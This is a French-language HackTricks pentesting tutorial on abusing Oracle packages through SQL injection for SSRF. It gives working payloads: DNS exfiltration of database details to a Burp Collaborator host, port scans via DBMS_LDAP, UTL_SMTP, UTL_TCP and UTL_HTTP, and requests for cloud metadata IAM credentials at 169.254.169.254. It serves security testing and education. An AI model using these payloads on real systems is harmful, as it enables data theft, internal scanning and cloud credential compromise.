hacktricks/pentesting-web/sql-injection/oracle-injection.md

11 KiB

Injection Oracle

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Servez une copie de cette publication à partir d'une machine à remonter le temps du post supprimé sur https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.

L'installation d'Oracle peut être vraiment douloureuse, surtout si vous voulez configurer une instance rapidement pour essayer des commandes. Mon ami et collègue chez Appsecco, Abhisek Datta, m'a dirigé vers https://github.com/MaksymBilenko/docker-oracle-12c qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker.

J'ai exécuté la commande docker avec le drapeau --network="host" afin de pouvoir imiter Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Packages Oracle prenant en charge une spécification d'URL ou de nom d'hôte/numéro de port

Pour trouver des packages et des fonctions prenant en charge une spécification d'hôte et de port, j'ai effectué une recherche sur la documentation en ligne de la base de données Oracle. Plus précisément,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes sur le réseau)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Cette recherche sommaire ignore évidemment des packages comme DBMS_LDAP (qui permet de passer un nom d'hôte et un numéro de port) car la page de documentation vous redirige simplement vers un emplacement différent. Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'aurais pu manquer.

En tout cas, examinons certains des packages que nous avons découverts et énumérés ci-dessus.

DBMS_LDAP.INIT

Le package DBMS_LDAP permet d'accéder aux données des serveurs LDAP. La fonction init() initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument.

Cette fonction a déjà été documentée pour montrer l'exfiltration de données via DNS, comme ci-dessous

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de ports également.

Voici quelques exemples

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.

UTL_SMTP

Le package UTL_SMTP est conçu pour l'envoi d'e-mails via SMTP. L'exemple fourni sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail. Pour nous, cependant, l'élément intéressant est la capacité de spécifier un hôte et un port.

Un exemple rudimentaire est présenté ci-dessous avec la fonction UTL_SMTP.OPEN_CONNECTION, avec un délai d'attente de 2 secondes.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Un ORA-29276: délai de transfert indique que le port est ouvert mais aucune connexion SMTP n'a été établie tandis qu'un ORA-29278: erreur transitoire SMTP: 421 Service non disponible indique que le port est fermé.

UTL_TCP

Le package UTL_TCP et ses procédures et fonctions permettent la communication basée sur TCP/IP avec des services. S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accès au réseau ou effectuer des requêtes côté serveur complètes car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.

L'exemple sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute pour récupérer une page web. Nous pouvons le simplifier un peu plus et l'utiliser pour effectuer des requêtes vers l'instance de métadonnées par exemple ou vers un service TCP/IP arbitraire.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Intéressant, en raison de la capacité à créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées de l'instance de tous les fournisseurs de cloud car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.

UTL_HTTP et les requêtes Web

Peut-être la technique la plus courante et largement documentée dans chaque tutoriel d'injection SQL Oracle hors bande est le package UTL_HTTP. Ce package est défini par la documentation comme - Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Vous pourriez également utiliser ceci pour effectuer une analyse de port rudimentaire avec des requêtes comme

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Un ORA-12541: TNS:no listener ou un TNS:operation timed out est un signe que le port TCP est fermé, tandis qu'un ORA-29263: HTTP protocol error ou des données sont un signe que le port est ouvert.

Un autre package que j'ai utilisé dans le passé avec un succès varié est la méthode GETCLOB() du type abstrait Oracle HTTPURITYPE qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode GETCLOB() est utilisée pour récupérer la réponse GET d'une URL en tant que type de données CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: